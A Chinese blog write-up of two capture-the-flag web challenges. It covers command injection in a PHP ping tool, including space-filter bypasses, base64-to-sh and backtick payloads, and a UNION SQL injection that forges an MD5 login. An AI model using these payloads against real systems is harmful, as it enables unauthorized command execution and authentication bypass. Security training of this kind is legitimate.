GXYCTF--PingPingPing&BabySqli

说来惭愧,之前12月份初报了GWYCTF,结果到了比赛的时候又因为复习忙的焦头烂额,所以一道题目都没看。刚好因为题目难度是针对校内招新的,我就现在复现下吧:
题目复现地址:https://buuoj.cn/
大佬们在各种比赛群里应该已经知道了这个平台的存在了,有一说一那位师傅是真的富......
还是要感谢buuoj.cn提供了一个复现这些年大赛题目的机会。

Ping Ping Ping

开始进入提示传参ip,原题应该是直接给了一个输入框,输入后发现有执行ping命令的效果
那么看来是命令执行的题目了,命令执行的方法大抵是加上管道符或者分号,那么试试管道符


ls

尝试读flag发现果然被ban了,那么试试index.php发现提示空格被ban了。
绕过空格的方法大概有以下几种:

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

不妨就用 $IFS试试,无果,用${IFS}发现{}被ban。再试$IFS$1成功。
源码如下:

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

过滤了许多标点,空格,bash,包括flag的贪婪匹配。那么自己印象中几种做法:
1.cat fl* 利用*匹配任意 不行
2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
3.ca\t fl\ag.php 不行
4.cat fl''ag.php 不行

那么如何解决呢?其实还有一种比较常见的做法没有提及,那就是变量拼接:


变量拼接

之前自己特别喜欢用的一句话木马拆开用也是这个道理。

正好,我们看到源码中有一个$a变量可以覆盖,那么payload就出来了:

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

然后有官方与其他大佬的高端解法:
官方:

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行。

dalao
内联执行的做法,只能说V&N的师傅们太强了。

http://530bbcaf-9d64-494e-8993-bb3727c31a5a.node3.buuoj.cn/?ip=127.0.0.1;cat$IFS$9`ls`

内联,就是将反引号内命令的输出作为输入执行。
秒题大概就是这种做法吧......

BabySqli

进去后一个账号,密码输入框。先随便输下,提示wrong pass。但是看源码有意外收获
FUZZ

从形式上看数字成分都没有超过6,可能是base32,解码后得到一个base64编码,解码后得到以下:

select * from user where username = '$name'

那么就可以在username这个注入点下手处理了。这道题目只过滤了基本的and与等号还是很能操作的。不过后来看别人说这题考点在MD5查询绕过。这么说的原因是,就算成功注入把admin密码的MD5拿到,因为解不了的缘故等于没用。基于题目提示的wrong pass,那么大概率是直接拿输入密码的MD5数值跟数据库里已知值比较。

稍微FUZZ一下admin' union select 1,2,3可以确认有三个字段
后面确认大概是id,admin,passwd三个字段。这里为了绕过,需要保证我们的查询结构一致,就可直接select 想要的返回值。
那么构造一个为假的查询-1,后面接上联合查询:

-1' union select 1,'admin','7363a0d0604902af7b70b271a0b96480'#

密码输123即可

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,298评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,701评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,078评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,687评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,018评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,410评论 1 211
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,729评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,412评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,124评论 1 239
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,379评论 2 242
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,903评论 1 257
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,268评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,894评论 3 233
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,014评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,770评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,435评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,312评论 2 260